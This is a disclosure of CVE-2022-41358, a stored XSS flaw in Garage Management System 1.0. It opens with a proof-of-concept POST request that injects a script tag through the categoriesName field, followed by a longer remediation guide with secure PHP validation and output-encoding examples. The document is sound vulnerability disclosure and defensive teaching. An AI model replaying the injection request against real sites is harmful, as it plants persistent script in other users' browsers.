Garage Management System 1.0 (categoriesName) - Stored XSS
# Exploit Title: Garage Management System 1.0 (categoriesName) - Stored XSS
# Date: 18-09-2022
# Exploit Author: Sam Wallace, SC
# Software Link: https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html
# Version: 1.0
# Tested on: Debian
# CVE : CVE-2022-41358
Summary:
Garage Management System utilizes client side validation to prevent XSS.
Using burp, a request can be modified and replayed to the server bypassing this validation which creates an avenue for XSS.
Parameter: categoriesName
URI: /garage/php_action/createCategories.php
POC:
POST /garage/php_action/createCategories.php HTTP/1.1
Host: 10.24.0.69
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.24.0.69
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqKDsN4gmatTEEkhS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.24.0.69/garage/add-category.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=gbklvcv3vvv987636urv0gg53u
Connection: close
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="categoriesName"
<script>alert(1)</script>
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="categoriesStatus"
1
------WebKitFormBoundaryqKDsN4gmatTEEkhS
Content-Disposition: form-data; name="create"
------WebKitFormBoundaryqKDsN4gmatTEEkhS-- Garage Management System 1.0 — Stored XSS (categoriesName) (CVE-2022-41358)
This article analyzes a recorded stored cross-site scripting (XSS) vulnerability affecting Garage Management System 1.0. It explains the root cause, attacker impact, safe remediation strategies, secure coding examples in PHP, and defensive controls to prevent similar issues in web applications.
Vulnerability summary
Garage Management System 1.0 relied on client-side validation for the category name field and did not apply adequate server-side controls or output encoding. An attacker can submit crafted input into the categoriesName field which is persisted by the application and later rendered into pages without proper encoding. This results in a stored XSS (persistent XSS) vulnerability.
Why this is dangerous
- Stored XSS allows arbitrary script execution in the browsers of any user who views the affected page (administrators, employees, or customers).
- Potential impacts include account takeover via session cookie theft, UI redress/phishing, malicious redirects, or performing privileged actions on behalf of victims.
- Because the payload is persisted in the database, it can affect many users over time until the data is sanitized or removed.
Root cause analysis
- Client-side validation used as the only input filter — trivial to bypass by intercepting and altering HTTP requests.
- Absence of proper server-side validation or sanitization that enforces safe character sets or rejects suspicious input.
- Lack of consistent output encoding/escaping when data is injected into HTML pages.
- Missing browser-level mitigations such as a restrictive Content Security Policy (CSP) and proper cookie flags.
High-level reproduction (conceptual)
At a high level, an attacker stores a payload into the categoriesName field (bypassing client-side checks). When an application page later renders categoriesName into HTML without escaping, the browser interprets the stored content as active code and executes it in the context of the victim's session.
Remediation strategy
- Enforce server-side validation: use whitelisting rules for fields like category names (allow letters, numbers, spaces, and a limited set of punctuation).
- Apply output encoding: always escape user-supplied data on output using context-appropriate encoding (HTML, attribute, JavaScript, URL).
- Use prepared statements for any database operations to separate data from code (prevents SQL injection, complementary to XSS defenses).
- Deploy defense-in-depth: set a strong CSP, mark cookies Secure and HttpOnly, and consider a WAF for additional protection.
- Log and sanitize existing persisted content where feasible (careful review and safe migration).
Secure server-side handling example (PHP)
<?php
// Example: secure handling for adding a category (PDO, validation, whitelist)
require_once 'db_connect.php'; // returns $pdo (PDO instance)
$name = trim(filter_input(INPUT_POST, 'categoriesName', FILTER_UNSAFE_RAW));
$status = filter_input(INPUT_POST, 'categoriesStatus', FILTER_VALIDATE_INT);
if ($name === null || $name === '') {
// handle error: missing name
http_response_code(400);
echo 'Category name is required.';
exit;
}
// Enforce a whitelist: allow letters, numbers, spaces, dash, underscore, max length 100
if (!preg_match('/^[\p{L}\p{N}\s\-_]{1,100}$/u', $name)) {
http_response_code(400);
echo 'Invalid category name. Only letters, numbers, spaces, - and _ are allowed.';
exit;
}
if ($status === false) {
$status = 0;
}
$stmt = $pdo->prepare('INSERT INTO categories (categoriesName, categoriesStatus) VALUES (:name, :status)');
$stmt->execute([
':name' => $name,
':status' => $status
]);
echo 'Category added successfully.';
?>Explanation: this code performs server-side validation with a whitelist regular expression, trims input, and uses PDO prepared statements to insert data safely. It prevents many injection-style attacks and rejects suspicious characters that are unlikely to belong in a category name. Note: strict validation may not be appropriate for all fields — choose constraints according to business requirements.
Correct output encoding when rendering category names
<?php
// When displaying category names in HTML
foreach ($rows as $row) {
// HTML-encode before echoing into the page
echo '<div class="category">'
. htmlspecialchars($row['categoriesName'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8')
. '</div>';
}
?>Explanation: htmlspecialchars with ENT_QUOTES and a UTF-8 charset converts characters such as <, >, &, and quotes to their HTML entity equivalents, ensuring user-supplied content is rendered as text rather than executable HTML/JS.
Context-aware escaping guidance
- HTML body content: use htmlspecialchars as shown above.
- HTML attribute values: also use htmlspecialchars; for untrusted values in attributes, avoid inline event handlers (onclick) that create JS contexts.
- JavaScript contexts: never insert raw user strings into inline scripts. If required, JSON-encode server values and read them from a safe data attribute instead.
- URL contexts: use rawurlencode when building URLs with user-provided components.
Supplementary protections
- Content Security Policy (CSP): deploy a restrictive CSP to reduce impact of injected scripts. Example header:
This helps but should not replace input validation and output encoding.header(\"Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';\"); - Cookies: mark session cookies as HttpOnly and Secure to make client-side script access harder:
session_set_cookie_params(['httponly' => true, 'secure' => true, 'samesite' => 'Lax']); - Least privilege: limit database user privileges to only the needed operations.
- WAF and automated scanners: use application security testing (DAST/SAST) and a WAF rule set tuned for XSS patterns to detect and mitigate active exploitation attempts.
Detecting and cleaning existing stored XSS
- Inventory all places where categoriesName is rendered and ensure output encoding is applied in every template/view.
- For existing stored entries that may contain active content, consider exporting the data and running a careful sanitization script that either HTML-encodes or strips disallowed tags using a safe library (e.g., HTML Purifier configured with a strict allowlist).
- When cleaning persisted content, preserve backups and validate results in a staging environment before overwriting production data.
Testing and verification
- Verify fixes by observing that malicious input stored in the database is rendered as inert text in all application views.
- Use automated security scanners and manual code review focusing on input handling, output encoding, and templating contexts.
- Include security tests in CI to prevent regressions (unit tests asserting that special characters are encoded when rendering views).
Summary table
| Item | Details |
|---|---|
| Vulnerability | Stored XSS via categoriesName input |
| Affected file | createCategories.php / category listing templates |
| CVE | CVE-2022-41358 |
| Primary fixes | Server-side validation, output encoding, CSP, secure cookie flags |
Final recommendations (developer checklist)
- Never trust client-side validation alone — implement server-side validation and sanitization.
- Always escape user-supplied data on output using a context-appropriate method.
- Prefer whitelisting acceptable characters for fields with limited input scope (category names, slugs).
- Harden HTTP headers (CSP, X-Content-Type-Options, X-Frame-Options) and session cookie flags.
- Audit existing persisted data and remove or sanitize any entries containing active content.
- Integrate security checks into development lifecycle: code review, SAST, DAST, and CI tests.